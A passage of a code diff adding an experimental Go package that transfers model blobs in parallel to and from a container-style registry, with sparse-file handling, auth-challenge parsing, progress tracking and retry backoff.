+	defer s.mu.Unlock()
+	if len(s.speeds) < 5 {
+		return 0
+	}
+	sorted := make([]float64, len(s.speeds))
+	copy(sorted, s.speeds)
+	slices.Sort(sorted)
+	return sorted[len(sorted)/2]
+}
+
+const defaultStallTimeout = 10 * time.Second

x/imagegen/transfer/sparse_other.go

@@ -0,0 +1,12 @@
+//go:build !windows
+
+package transfer
+
+import "os"
+
+// setSparse is a no-op on non-Windows platforms.
+// On Windows, this sets the FSCTL_SET_SPARSE attribute which allows the OS
+// to not allocate disk blocks for zero-filled regions. This is useful for
+// partial downloads where not all data has been written yet. On Unix-like
+// systems, filesystems typically handle this automatically (sparse by default).
+func setSparse(_ *os.File) {}

x/imagegen/transfer/sparse_windows.go

@@ -0,0 +1,31 @@
+//go:build windows
+
+package transfer
+
+import (
+	"os"
+
+	"golang.org/x/sys/windows"
+)
+
+// setSparse sets the FSCTL_SET_SPARSE attribute on Windows files.
+// This allows the OS to not allocate disk blocks for zero-filled regions,
+// which is useful for large files that may not be fully written (e.g., partial
+// downloads). Without this, Windows may pre-allocate disk space for the full
+// file size even if most of it is zeros.
+//
+// Note: Errors are intentionally ignored because:
+// 1. The file will still work correctly without sparse support
+// 2. Not all Windows filesystems support sparse files (e.g., FAT32)
+// 3. This is an optimization, not a requirement
+func setSparse(file *os.File) {
+	var bytesReturned uint32
+	_ = windows.DeviceIoControl(
+		windows.Handle(file.Fd()),
+		windows.FSCTL_SET_SPARSE,
+		nil, 0,
+		nil, 0,
+		&bytesReturned,
+		nil,
+	)
+}

x/imagegen/transfer/transfer.go

@@ -0,0 +1,216 @@
+// Package transfer provides minimal, fast blob transfer for tensor-based models.
+//
+// This package is in x/ because the tensor model storage format is under development.
+// It provides optimized transfer for models with many small blobs (tensor models)
+// rather than few large blobs (typical LLMs).
+//
+// TODO (jmorganca): Integrate into server/download.go and server/upload.go when stable.
+//
+// Design Philosophy:
+// This package is intentionally simpler than the main server's download/upload code.
+// Key simplifications for many-small-blob workloads:
+//
+//   - Whole-blob transfers: No part-based chunking. Each blob downloads/uploads as one unit.
+//   - No resume: If a transfer fails, it restarts from scratch (fine for small blobs).
+//   - Inline hashing: SHA256 computed during streaming, not asynchronously after parts complete.
+//   - Stall and speed detection: Cancels on no data (stall) or speed below 10% of median.
+//
+// For large models (multi-GB), use the server's download/upload code which has:
+//   - Part-based transfers with 64MB chunks
+//   - Resumable downloads with JSON state files
+//   - Async streamHasher that hashes from OS page cache as parts complete
+//   - Speed tracking with rolling median to detect and restart slow parts
+package transfer
+
+import (
+	"context"
+	"errors"
+	"log/slog"
+	"math/rand/v2"
+	"net/http"
+	"strings"
+	"sync/atomic"
+	"time"
+)
+
+// Blob represents a content-addressed blob to transfer.
+type Blob struct {
+	Digest string // sha256:...
+	Size   int64
+
+	// From enables cross-repository blob mounting (upload only).
+	// When set, the upload will first attempt to mount the blob from this source
+	// repository instead of uploading the data. This is a Docker Registry v2 API
+	// feature that avoids re-uploading blobs that already exist elsewhere.
+	//
+	// Example: From="library/source-model" will add ?mount=<digest>&from=library/source-model
+	// to the POST /blobs/uploads/ request. If the registry returns 201 Created,
+	// the blob was mounted successfully and no upload is needed.
+	//
+	// See: https://distribution.github.io/distribution/spec/api/#cross-repository-blob-mount
+	From string
+}
+
+// DownloadOptions configures a parallel download operation.
+type DownloadOptions struct {
+	Blobs        []Blob                                                             // Blobs to download
+	BaseURL      string                                                             // Registry base URL
+	DestDir      string                                                             // Destination directory for blobs
+	Repository   string                                                             // Repository path for blob URLs (e.g., "library/model")
+	Concurrency  int                                                                // Max parallel downloads (default 64)
+	Progress     func(completed, total int64)                                       // Progress callback (optional)
+	Client       *http.Client                                                       // HTTP client (optional, uses default)
+	Token        string                                                             // Auth token (optional)
+	GetToken     func(ctx context.Context, challenge AuthChallenge) (string, error) // Token refresh callback
+	Logger       *slog.Logger                                                       // Optional structured logger
+	UserAgent    string                                                             // User-Agent header (optional, has default)
+	StallTimeout time.Duration                                                      // Timeout for stall detection (default 10s)
+}
+
+// UploadOptions configures a parallel upload operation.
+type UploadOptions struct {
+	Blobs       []Blob                                                             // Blobs to upload
+	BaseURL     string                                                             // Registry base URL
+	SrcDir      string                                                             // Source directory containing blobs
+	Concurrency int                                                                // Max parallel uploads (default 32)
+	Progress    func(completed, total int64)                                       // Progress callback (optional)
+	Client      *http.Client                                                       // HTTP client (optional, uses default)
+	Token       string                                                             // Auth token (optional)
+	GetToken    func(ctx context.Context, challenge AuthChallenge) (string, error) // Token refresh callback
+	Logger      *slog.Logger                                                       // Optional structured logger
+	UserAgent   string                                                             // User-Agent header (optional, has default)
+
+	// Manifest fields (optional) - if set, manifest is pushed after all blobs complete
+	Manifest    []byte // Raw manifest JSON to push
+	ManifestRef string // Tag or digest for the manifest (e.g., "latest", "sha256:...")
+	Repository  string // Repository path for manifest URL (e.g., "library/model")
+}
+
+// AuthChallenge represents a parsed WWW-Authenticate challenge.
+type AuthChallenge struct {
+	Realm   string
+	Service string
+	Scope   string
+}
+
+// Default concurrency limits and settings
+const (
+	DefaultDownloadConcurrency = 64
+	DefaultUploadConcurrency   = 32
+	maxRetries                 = 6
+	defaultUserAgent           = "ollama-transfer/1.0"
+)
+
+var errMaxRetriesExceeded = errors.New("max retries exceeded")
+
+// defaultClient is a shared HTTP client with connection pooling.
+var defaultClient = &http.Client{
+	Transport: &http.Transport{
+		MaxIdleConns:        100,
+		MaxIdleConnsPerHost: 100,
+		IdleConnTimeout:     90 * time.Second,
+	},
+	CheckRedirect: func(req *http.Request, via []*http.Request) error {
+		return http.ErrUseLastResponse
+	},
+}
+
+// progressTracker aggregates progress across concurrent operations.
+type progressTracker struct {
+	completed atomic.Int64
+	total     int64
+	callback  func(completed, total int64)
+}
+
+func newProgressTracker(total int64, callback func(completed, total int64)) *progressTracker {
+	return &progressTracker{
+		total:    total,
+		callback: callback,
+	}
+}
+
+func (p *progressTracker) add(n int64) {
+	if p == nil || p.callback == nil {
+		return
+	}
+	completed := p.completed.Add(n)
+	p.callback(completed, p.total)
+}
+
+// Download downloads blobs in parallel with streaming hash verification.
+func Download(ctx context.Context, opts DownloadOptions) error {
+	return download(ctx, opts)
+}
+
+// Upload uploads blobs in parallel.
+func Upload(ctx context.Context, opts UploadOptions) error {
+	return upload(ctx, opts)
+}
+
+// digestToPath converts sha256:abc123 to sha256-abc123
+func digestToPath(digest string) string {
+	if len(digest) > 7 && digest[6] == ':' {
+		return digest[:6] + "-" + digest[7:]
+	}
+	return digest
+}
+
+// parseAuthChallenge parses a WWW-Authenticate header value.
+// Example: Bearer realm="https://auth.example.com",service="registry",scope="repository:foo:pull"
+func parseAuthChallenge(header string) AuthChallenge {
+	header = strings.TrimPrefix(header, "Bearer ")
+
+	getValue := func(key string) string {
+		startIdx := strings.Index(header, key+"=")
+		if startIdx == -1 {
+			return ""
+		}
+		startIdx += len(key) + 1
+		if startIdx >= len(header) {
+			return ""
+		}
+
+		// Handle quoted values
+		if header[startIdx] == '"' {
+			startIdx++
+			endIdx := strings.Index(header[startIdx:], "\"")
+			if endIdx == -1 {
+				return header[startIdx:]
+			}
+			return header[startIdx : startIdx+endIdx]
+		}
+
+		// Unquoted value - ends at comma or end of string
+		endIdx := strings.Index(header[startIdx:], ",")
+		if endIdx == -1 {
+			return header[startIdx:]
+		}
+		return header[startIdx : startIdx+endIdx]
+	}
+
+	return AuthChallenge{
+		Realm:   getValue("realm"),
+		Service: getValue("service"),
+		Scope:   getValue("scope"),
+	}
+}
+
+// backoff returns a function that sleeps with exponential backoff.
+func backoff(ctx context.Context, attempt int, maxBackoff time.Duration) error {
+	if ctx.Err() != nil {
+		return ctx.Err()
+	}
+
+	// n^2 backoff with jitter
+	d := min(time.Duration(attempt*attempt)*10*time.Millisecond, maxBackoff)
+	d = time.Duration(float64(d) * (rand.Float64() + 0.5))
+
+	t := time.NewTimer(d)
+	defer t.Stop()
+	select {
+	case <-ctx.Done():
+		return ctx.Err()
+	case <-t.C:
+		return nil
+	}
+}